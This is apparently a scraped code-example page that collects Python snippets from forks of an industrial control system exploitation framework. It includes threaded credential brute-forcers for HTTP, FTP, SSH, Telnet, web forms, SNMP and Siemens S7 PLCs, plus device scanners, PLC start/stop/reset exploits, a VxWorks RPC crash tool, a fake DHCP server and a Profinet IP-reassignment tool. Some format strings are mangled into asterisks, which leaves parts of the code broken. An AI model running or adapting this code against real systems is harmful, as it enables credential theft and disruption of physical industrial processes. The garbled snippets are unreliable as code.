コード例 #1
0
ファイル: http_basic_bruteforce.py プロジェクト: 5l1v3r1/ICS
    def attack(self):
        url = "{}:{}{}".format(self.target, self.port, self.path)

        response = http_request(method="GET", url=url)
        if response is None:
            return

        if response.status_code != 401:
            print_status("Target is not protected by Basic Auth")
            return

        if self.usernames.startswith('file://'):
            usernames = open(self.usernames[7:], 'r')
        else:
            usernames = [self.usernames]

        if self.passwords.startswith('file://'):
            passwords = open(self.passwords[7:], 'r')
        else:
            passwords = [self.passwords]

        collection = itertools.product(usernames, passwords)

        with threads.ThreadPoolExecutor(self.threads) as executor:
            for record in collection:
                executor.submit(self.target_function, url, record)

        if self.credentials:
            print_success("Credentials found!")
            headers = ("Target", "Port", "Login", "Password")
            print_table(headers, *self.credentials)
        else:
            print_error("Credentials not found")
コード例 #2
0
ファイル: http_digest_default.py プロジェクト: 5l1v3r1/ICS
    def attack(self):
        url = "{}:{}{}".format(self.target, self.port, self.path)

        response = http_request("GET", url)
        if response is None:
            return

        if response.status_code != 401:
            print_status("Target is not protected by Digest Auth")
            return

        if self.defaults.startswith('file://'):
            defaults = open(self.defaults[7:], 'r')
        else:
            defaults = [self.defaults]

        with ThreadPoolExecutor(self.threads) as executor:
            for record in defaults:
                username, password = record.split(':')
                executor.submit(self.target_function, url, username, password)

        if self.credentials:
            print_success("Credentials found!")
            headers = ("Target", "Port", "Login", "Password")
            print_table(headers, *self.credentials)
        else:
            print_error("Credentials not found")

        defaults.close()
コード例 #3
0
    def attack(self):
        ftp = ftplib.FTP()
        try:
            ftp.connect(self.target, port=int(self.port), timeout=10)
        except (socket.error, socket.timeout):
            print_error("Connection error: %s:%s" %
                        (self.target, str(self.port)))
            ftp.close()
            return
        except:
            pass
        ftp.close()

        if self.defaults.startswith('file://'):
            defaults = open(self.defaults[7:], 'r')
        else:
            defaults = [self.defaults]

        collection = LockedIterator(defaults)
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.credentials):
            print_success("Credentials found!")
            headers = ("Target", "Port", "Login", "Password")
            print_table(headers, *self.credentials)
        else:
            print_error("Credentials not found")
コード例 #4
0
 def run(self):
     if self._check_alive():
         print_success("Target is alive")
         print_status("Sending packet to target")
         self.exploit()
     else:
         print_error("Target is not alive")
コード例 #5
0
    def target_function(self, running, data):
        module_verbosity = boolify(self.verbosity)
        name = threading.current_thread().name

        print_status(name, 'thread is starting...', verbose=module_verbosity)

        cmdGen = cmdgen.CommandGenerator()
        while running.is_set():
            try:
                string = data.next().strip()

                errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd(
                    cmdgen.CommunityData(string, mpModel=self.version - 1),
                    cmdgen.UdpTransportTarget((self.target, self.port)),
                    '1.3.6.1.2.1.1.1.0',
                )

                if errorIndication or errorStatus:
                    print_error(
                        "Target: {}:{} {}: Invalid community string - String: '{}'"
                        .format(self.target, self.port, name, string),
                        verbose=module_verbosity)
                else:
                    if boolify(self.stop_on_success):
                        running.clear()
                    print_success(
                        "Target: {}:{} {}: Valid community string found - String: '{}'"
                        .format(self.target, self.port, name, string),
                        verbose=module_verbosity)
                    self.strings.append((self.target, self.port, string))

            except StopIteration:
                break

        print_status(name, 'thread is terminated.', verbose=module_verbosity)
コード例 #6
0
ファイル: s7comm_scan.py プロジェクト: zldww2011/isf
 def get_target_info(self, host, port):
     for rack_num in range(self.min_rack, self.max_rack + 1):
         for slot_num in range(self.min_slot, self.max_slot + 1):
             print_status("Tring to scan %s with Rack%s/Slot%s" %
                          (host, rack_num, slot_num))
             order_code = ''
             firmware_version = ''
             module_type_name = ''
             module_name = ''
             serial_number = ''
             ip_address = host
             try:
                 target = S7Client(name='S7Scanner',
                                   ip=host,
                                   port=port,
                                   rack=rack_num,
                                   slot=slot_num)
                 target.connect()
                 order_code, firmware_version, module_type_name, \
                     as_name, module_name, serial_number = target.get_target_info()
                 ip_address = host
                 if order_code != '':
                     self.result.append([
                         order_code, module_type_name, firmware_version,
                         module_name, serial_number,
                         str(rack_num) + '/' + str(slot_num), ip_address
                     ])
             except Exception as err:
                 print_error(err)
                 return False
コード例 #7
0
ファイル: cip_scan.py プロジェクト: zishan11/isf
 def get_target_info(self, host, port):
     product_name = ''
     device_type = ''
     vendor = ''
     revision = ''
     serial_number = ''
     slot = ''
     ip_address = host
     target = CIPClient(name='CIP_Scanner', ip=host, port=port)
     target.connect()
     for slot_num in range(self.max_slot + 1):
         print_status("Tring to scan %s with Slot%s" % (host, slot_num))
         try:
             product_name, device_type, vendor, revision, serial_number = \
             target.get_target_info(port_segment=slot_num)
             print(product_name, device_type, vendor, revision,
                   serial_number)
             slot = slot_num
             ip_address = host
             if serial_number != '':
                 self.result.append([
                     product_name, device_type, vendor, revision,
                     serial_number,
                     str(slot), ip_address
                 ])
         except Exception as err:
             print_error(err)
             return False
コード例 #8
0
    def attack(self):
        ssh = paramiko.SSHClient()

        try:
            ssh.connect(self.target, port=self.port)
        except socket.error:
            print_error("Connection error: %s:%s" %
                        (self.target, str(self.port)))
            ssh.close()
            return
        except:
            pass

        ssh.close()

        if self.usernames.startswith('file://'):
            usernames = open(self.usernames[7:], 'r')
        else:
            usernames = [self.usernames]

        if self.passwords.startswith('file://'):
            passwords = open(self.passwords[7:], 'r')
        else:
            passwords = [self.passwords]

        collection = LockedIterator(itertools.product(usernames, passwords))
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.credentials):
            print_success("Credentials found!")
            headers = ("Target", "Port", "Login", "Password")
            print_table(headers, *self.credentials)
        else:
            print_error("Credentials not found")
コード例 #9
0
ファイル: telnet_bruteforce.py プロジェクト: 5l1v3r1/ICS
    def attack(self):
        try:
            tn = telnetlib.Telnet(self.target, self.port)
            tn.expect(["login: "******"Login: "******"Connection error {}:{}".format(
                self.target, self.port))
            return

        if self.usernames.startswith('file://'):
            usernames = open(self.usernames[7:], 'r')
        else:
            usernames = [self.usernames]

        if self.passwords.startswith('file://'):
            passwords = open(self.passwords[7:], 'r')
        else:
            passwords = [self.passwords]

        collection = LockedIterator(itertools.product(usernames, passwords))
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.credentials):
            print_success("Credentials found!")
            headers = ("Target", "Port", "Login", "Password")
            print_table(headers, *self.credentials)
        else:
            print_error("Credentials not found")
コード例 #10
0
ファイル: fake_dhcp_server.py プロジェクト: 5l1v3r1/ICS
 def chose_ip_to_offer(self, mac_address):
     unused_ip_address = []
     for ip_address in self.ip_address_pool.keys():
         if self.ip_address_pool[ip_address] == "":
             unused_ip_address.append(ip_address)
         elif self.ip_address_pool[ip_address] == mac_address:
             return ip_address
     if len(unused_ip_address) > 0:
         return unused_ip_address[0]
     else:
         print_error("All ip address is offer")
         return None
コード例 #11
0
 def exploit(self):
     self.sock = socket.socket()
     self.sock.connect((self.target, self.port))
     self.create_connect(self.slot)
     if self.command == 1:
         print_status("Start plc")
         self.sock.send(cpu_start_payload)
     elif self.command == 2:
         print_status("Stop plc")
         self.sock.send(cpu_stop_payload)
     else:
         print_error("Command %s didn't support" % self.command)
コード例 #12
0
ファイル: vxworks_rpc_dos.py プロジェクト: Qing-Q/ICSwiki
 def run(self):
     if self._check_alive():
         print_success("RPC port is open")
         print_status("Sending packet to target")
         self.exploit()
         time.sleep(3)  # wait target crash
         if not self._check_alive():
             print_success("Target is down")
         else:
             print_error("Target is not vulnerable")
     else:
         print_error("Target is not vulnerable")
         return
コード例 #13
0
ファイル: s7comm_scan.py プロジェクト: zldww2011/isf
 def run(self):
     self.result = []
     conf.verb = self.verbose
     nm = self.scan(protocol='TCP')
     for host in nm.all_hosts():
         if nm[host]['tcp'][self.port]['state'] == "open":
             print_success("Host: %s, port:%s is open" % (host, self.port))
             self.get_target_info(host=host, port=self.port)
     unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
     if len(self.result) > 0:
         print_success("Find %s targets" % len(self.result))
         print(tabulate.tabulate(unique_device, headers=TABLE_HEADER))
         print('\r')
     else:
         print_error("Didn't find any target on network %s" % self.target)
コード例 #14
0
 def get_target_info(self, host, port):
     ip_address = host
     try:
         target = S7PlusClient(name='S7Scanner', ip=host, port=port)
         target.connect()
         order_code, serial_number, hardware_version, firmware_version = target.get_target_info(
         )
         if order_code != '':
             self.result.append([
                 order_code, serial_number, hardware_version,
                 firmware_version, ip_address
             ])
     except Exception as err:
         print_error(err)
         return False
コード例 #15
0
ファイル: http_digest_default.py プロジェクト: 5l1v3r1/ICS
    def target_function(self, url, user, password):
        name = threading.current_thread().name

        user = user.encode('utf-8').strip()
        password = password.encode('utf-8').strip()

        response = http_request(method="GET", url=url, auth=HTTPDigestAuth(user, password))

        if response is not None and response.status_code != 401:
            print_success("Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'".format(self.target, self.port, name, user, password), verbose=self.verbosity)
            self.credentials.append((self.target, self.port, user, password))
            if self.stop_on_success:
                raise StopThreadPoolExecutor
        else:
            print_error("Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'".format(self.target, self.port, name, user, password), verbose=self.verbosity)
コード例 #16
0
    def attack(self):
        # todo: check if service is up
        if self.snmp.startswith('file://'):
            snmp = open(self.snmp[7:], 'r')
        else:
            snmp = [self.snmp]

        collection = LockedIterator(snmp)
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.strings):
            print_success("Credentials found!")
            headers = ("Target", "Port", "Community Strings")
            print_table(headers, *self.strings)
        else:
            print_error("Valid community strings not found")
コード例 #17
0
ファイル: s7_bruteforce.py プロジェクト: 5l1v3r1/ICS
    def attack(self):
        # todo: check if service is up
        if self.password.startswith('file://'):
            s7_pass = open(self.password[7:], 'r')
        else:
            s7_pass = [self.password]

        collection = LockedIterator(s7_pass)
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.strings):
            print_success("Credentials found!")
            headers = ("Target", "Port", "password")
            print_table(headers, *self.strings)
        else:
            print_error("Valid password not found")
コード例 #18
0
 def exploit(self):
     self.sock = socket.socket()
     self.sock.settimeout(3)
     self.sock.connect((self.target, self.port))
     if self.get_session():
         if self.command == 1:
             print_status("Start plc")
             buff = ('015300000006005a' + self.session + '40ff00').decode('hex')
             self.sock.send(buff)
         elif self.command == 2:
             print_status("Stop plc")
             buff = ('015800000006005a' + self.session + '41ff00').decode('hex')
             self.sock.send(buff)
         else:
             print_error("Command %s didn't support" % self.command)
     else:
         print_error("Can't get session, stop exploit.")
コード例 #19
0
ファイル: cip_scan.py プロジェクト: zishan11/isf
    def run(self):
        self.result = []
        conf.verb = self.verbose
        nm = port_scan(protocol='TCP', target=self.target, port=self.port)
        for host in nm.all_hosts():
            if nm[host]['tcp'][self.port]['state'] == "open":
                print_success("Host: %s, port:%s is open" % (host, self.port))
                self.get_target_info(host=host, port=self.port)
        unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
        unique_device = sorted(unique_device, key=lambda x: (x[5], x[6]))

        if len(self.result) > 0:
            print_success("Find %s targets" % len(self.result))
            print_table(TABLE_HEADER, *unique_device,
                        **{'max_column_length': 20})
            print('\r')
        else:
            print_error("Didn't find any target on network %s" % self.target)
コード例 #20
0
    def attack(self):
        url = sanitize_url("{}:{}{}".format(self.target, self.port,
                                            self.get_form_path()))

        try:
            requests.get(url, verify=False)
        except (requests.exceptions.MissingSchema,
                requests.exceptions.InvalidSchema):
            print_error("Invalid URL format: %s" % url)
            return
        except requests.exceptions.ConnectionError:
            print_error("Connection error: %s" % url)
            return

        # authentication type
        if self.form == 'auto':
            form_data = self.detect_form()

            if form_data is None:
                print_error("Could not detect form")
                return

            (form_action, self.data) = form_data
            if form_action:
                self.path = form_action
        else:
            self.data = self.form

        print_status("Using following data: ", self.data)

        # invalid authentication
        self.invalid_auth()

        # running threads
        if self.usernames.startswith('file://'):
            usernames = open(self.usernames[7:], 'r')
        else:
            usernames = [self.usernames]

        if self.passwords.startswith('file://'):
            passwords = open(self.passwords[7:], 'r')
        else:
            passwords = [self.passwords]

        collection = LockedIterator(itertools.product(usernames, passwords))
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.credentials):
            print_success("Credentials found!")
            headers = ("Target", "Port", "Login", "Password")
            print_table(headers, *self.credentials)
        else:
            print_error("Credentials not found")
コード例 #21
0
ファイル: s7_1200_plc_control.py プロジェクト: hiro93/isf3
 def exploit(self):
     if self.command == 0:
         print_status("Start plc")
         self.start_ctrl(start_cpu_packet)
     elif self.command == 1:
         print_status("Stop plc")
         self.start_ctrl(stop_cpu_packet)
     elif self.command == 2:
         print_status("reset plc")
         self.start_ctrl(stop_cpu_packet)
         time.sleep(0.5)
         self.start_ctrl(reset_cpu_packet)
     elif self.command == 3:
         print_status("reset plc and ip")
         self.start_ctrl(stop_cpu_packet)
         time.sleep(0.5)
         self.start_ctrl(reset_cpu_and_ip_packet)
     else:
         print_error("Command %s didn't support" % self.command)
コード例 #22
0
    def target_function(self, running, data):
        module_verbosity = boolify(self.verbosity)
        name = threading.current_thread().name
        url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
        headers = {u'Content-Type': u'application/x-www-form-urlencoded'}

        print_status(name, 'process is starting...', verbose=module_verbosity)

        while running.is_set():
            try:
                user, password = data.next()
                user = user.strip()
                password = password.strip()

                postdata = self.data.replace("{{USER}}", user).replace(
                    "{{PASS}}", password)
                r = requests.post(url,
                                  headers=headers,
                                  data=postdata,
                                  verify=False)
                l = len(r.text)

                if l < self.invalid["min"] or l > self.invalid["max"]:
                    if boolify(self.stop_on_success):
                        running.clear()

                    print_success(
                        "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'"
                        .format(self.target, self.port, name, user, password),
                        verbose=module_verbosity)
                    self.credentials.append(
                        (self.target, self.port, user, password))
                else:
                    print_error(
                        name,
                        "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'"
                        .format(self.target, self.port, name, user, password),
                        verbose=module_verbosity)
            except StopIteration:
                break

        print_status(name, 'process is terminated.', verbose=module_verbosity)
コード例 #23
0
 def scan(self, protocol):
     nm = nmap.PortScanner()
     try:
         if protocol == "tcp" or protocol == "TCP":
             nm.scan(hosts=self.target,
                     ports=str(self.port),
                     arguments='-n -sT ')
             return nm
         elif protocol == "udp" or protocol == "UDP":
             print_status(
                 "UDP Scan requires root privileges will using sudo to scan target "
             )
             nm.scan(hosts=self.target,
                     ports=str(self.port),
                     arguments='-n -sU ',
                     sudo=True)
             return nm
     except Exception as err:
         print_error(err)
         return None
コード例 #24
0
ファイル: s7_bruteforce.py プロジェクト: 5l1v3r1/ICS
    def target_function(self, running, data):
        module_verbosity = boolify(self.verbose)
        name = threading.current_thread().name

        print_status(name, 'thread is starting...', verbose=module_verbosity)
        s7_client = S7Client(name="Siemens PLC",
                             ip=self.target,
                             rack=self.rack,
                             slot=self.slot)
        s7_client.connect()
        if not module_verbosity:
            s7_client.logger.setLevel(50)
        while running.is_set():
            try:
                string = data.next().strip()
                if len(string) > 8:
                    continue
                s7_client.check_privilege()
                if s7_client.protect_level == 1:
                    print_error("Target didn't set password.")
                    return
                s7_client.auth(string)
                if s7_client.authorized:
                    if boolify(self.stop_on_success):
                        running.clear()
                    print_success(
                        "Target: {}:{} {}: Valid password string found - String: '{}'"
                        .format(self.target, self.port, name, string),
                        verbose=module_verbosity)
                    self.strings.append((self.target, self.port, string))

                else:
                    print_error(
                        "Target: {}:{} {}: Invalid community string - String: '{}'"
                        .format(self.target, self.port, name, string),
                        verbose=module_verbosity)

            except StopIteration:
                break

        print_status(name, 'thread is terminated.', verbose=module_verbosity)
コード例 #25
0
 def get_target_info(self, host, port):
     target_type = ''
     vxworks_version = ''
     cpu_type = ''
     cpu_model = ''
     memory_size = ''
     ip_address = host
     try:
         target = Wdb2Client(name='Vxworks_6.6', ip=host, port=self.port)
         target.connect()
         target.get_target_info()
         target_type = target.target_info['Target_Type']
         vxworks_version = target.target_info['Vx_Version']
         cpu_type = target.target_info['CPU_Type']
         cpu_model = target.target_info['CPU_Model']
         memory_size = self.sizeof_fmt(target.target_info['Memory_Size'])
         ip_address = host
         self.result.append([target_type, vxworks_version, cpu_type, cpu_model, memory_size, ip_address])
     except Exception as err:
         print_error(err)
         return False
コード例 #26
0
ファイル: profinet_set_ip.py プロジェクト: zldww2011/isf
    def run(self):
        conf.verb = self.verbose
        self.sniff_mac_address = get_if_hwaddr(self.nic)
        self.scan_target_ip(self.target)
        if len(self.result) == 0:
            print_error("Didn't find any device, please check target mac address.")
            return
        print_status("Please make sure target device info is correct.")
        print_status("Do you want setup target with\n ip address: %s\n network mask: %s\n gateway:%s\n" % (
            self.target_ip, self.target_netmask, self.target_gateway
        ))
        ans = raw_input("Y/y to confirm, other to cancel.\n:")
        if ans.upper() == "Y":
            self.exploit(target_mac=self.target)
            self.scan_target_ip(self.target)
            # TODO: need some other method to check setup is success or not.
            if len(self.result) == 0:
                print_error("Setup target ip failed.")
                return

            if self.result[0][3] != self.target_ip \
                    or self.result[0][4] != self.target_netmask \
                    or self.result[0][5] != self.target_gateway:
                print_error("Setup target ip failed.")
                return
            else:
                print_success("Setup target ip succeeded")
コード例 #27
0
ファイル: ssh_default.py プロジェクト: 5l1v3r1/ICS
    def target_function(self, running, data):
        module_verbosity = boolify(self.verbosity)
        name = threading.current_thread().name
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        print_status(name, 'process is starting...', verbose=module_verbosity)

        while running.is_set():
            try:
                line = data.next().split(":")
                user = line[0].strip()
                password = line[1].strip()
                ssh.connect(self.target,
                            int(self.port),
                            timeout=5,
                            username=user,
                            password=password)
            except StopIteration:
                break
            except paramiko.ssh_exception.SSHException as err:
                ssh.close()

                print_error(
                    "Target: {}:{} {}: {} Username: '******' Password: '******'".
                    format(self.target, self.port, name, err, user, password),
                    verbose=module_verbosity)
            else:
                if boolify(self.stop_on_success):
                    running.clear()

                print_success(
                    "Target: {}:{} {} Authentication Succeed - Username: '******' Password: '******'"
                    .format(self.target, self.port, name, user, password),
                    verbose=module_verbosity)
                self.credentials.append(
                    (self.target, self.port, user, password))

        print_status(name, 'process is terminated.', verbose=module_verbosity)
コード例 #28
0
ファイル: ftp_bruteforce.py プロジェクト: 5l1v3r1/ICS
    def target_function(self, running, data):
        module_verbosity = boolify(self.verbosity)
        name = threading.current_thread().name

        print_status(name, 'process is starting...', verbose=module_verbosity)

        ftp = ftplib.FTP()
        while running.is_set():
            try:
                user, password = data.next()
                user = user.strip()
                password = password.strip()
            except StopIteration:
                break
            else:
                retries = 0
                while retries < 3:
                    try:
                        ftp.connect(self.target,
                                    port=int(self.port),
                                    timeout=10)
                        break
                    except (socket.error, socket.timeout):
                        print_error(
                            "{} Connection problem. Retrying...".format(name),
                            verbose=module_verbosity)
                        retries += 1

                        if retries > 2:
                            print_error(
                                "Too much connection problems. Quiting...",
                                verbose=module_verbosity)
                            return

                try:
                    ftp.login(user, password)

                    if boolify(self.stop_on_success):
                        running.clear()

                    print_success(
                        "Target: {}:{} {}: Authentication succeed - Username: '******' Password: '******'"
                        .format(self.target, self.port, name, user, password),
                        verbose=module_verbosity)
                    self.credentials.append(
                        (self.target, self.port, user, password))
                except:
                    print_error(
                        "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'"
                        .format(self.target, self.port, name, user, password),
                        verbose=module_verbosity)

                ftp.close()

        print_status(name, 'process is terminated.', verbose=module_verbosity)
コード例 #29
0
ファイル: telnet_bruteforce.py プロジェクト: 5l1v3r1/ICS
    def target_function(self, running, data):
        module_verbosity = boolify(self.verbosity)
        name = threading.current_thread().name

        print_status(name, 'thread is starting...', verbose=module_verbosity)

        while running.is_set():
            try:
                user, password = data.next()
                user = user.strip()
                password = password.strip()
            except StopIteration:
                break
            else:
                retries = 0
                while retries < 3:
                    try:
                        tn = telnetlib.Telnet(self.target, self.port)
                        tn.expect(["Login: "******"login: "******"\r\n")
                        tn.expect(["Password: "******"password"], 5)
                        tn.write(password + "\r\n")
                        tn.write("\r\n")

                        (i, obj, res) = tn.expect(["Incorrect", "incorrect"],
                                                  5)
                        tn.close()

                        if i != -1:
                            print_error(
                                "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'"
                                .format(self.target, self.port, name, user,
                                        password),
                                verbose=module_verbosity)
                        else:
                            if any(map(lambda x: x in res, [
                                    "#", "$", ">"
                            ])) or len(res) > 500:  # big banner e.g. mikrotik
                                if boolify(self.stop_on_success):
                                    running.clear()

                                print_success(
                                    "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'"
                                    .format(self.target, self.port, name, user,
                                            password),
                                    verbose=module_verbosity)
                                self.credentials.append(
                                    (self.target, self.port, user, password))
                        tn.close()
                        break
                    except EOFError:
                        print_error(name,
                                    "Connection problem. Retrying...",
                                    verbose=module_verbosity)
                        retries += 1

                        if retries > 2:
                            print_error(
                                "Too much connection problems. Quiting...",
                                verbose=module_verbosity)
                            return
                        continue

        print_status(name, 'thread is terminated.', verbose=module_verbosity)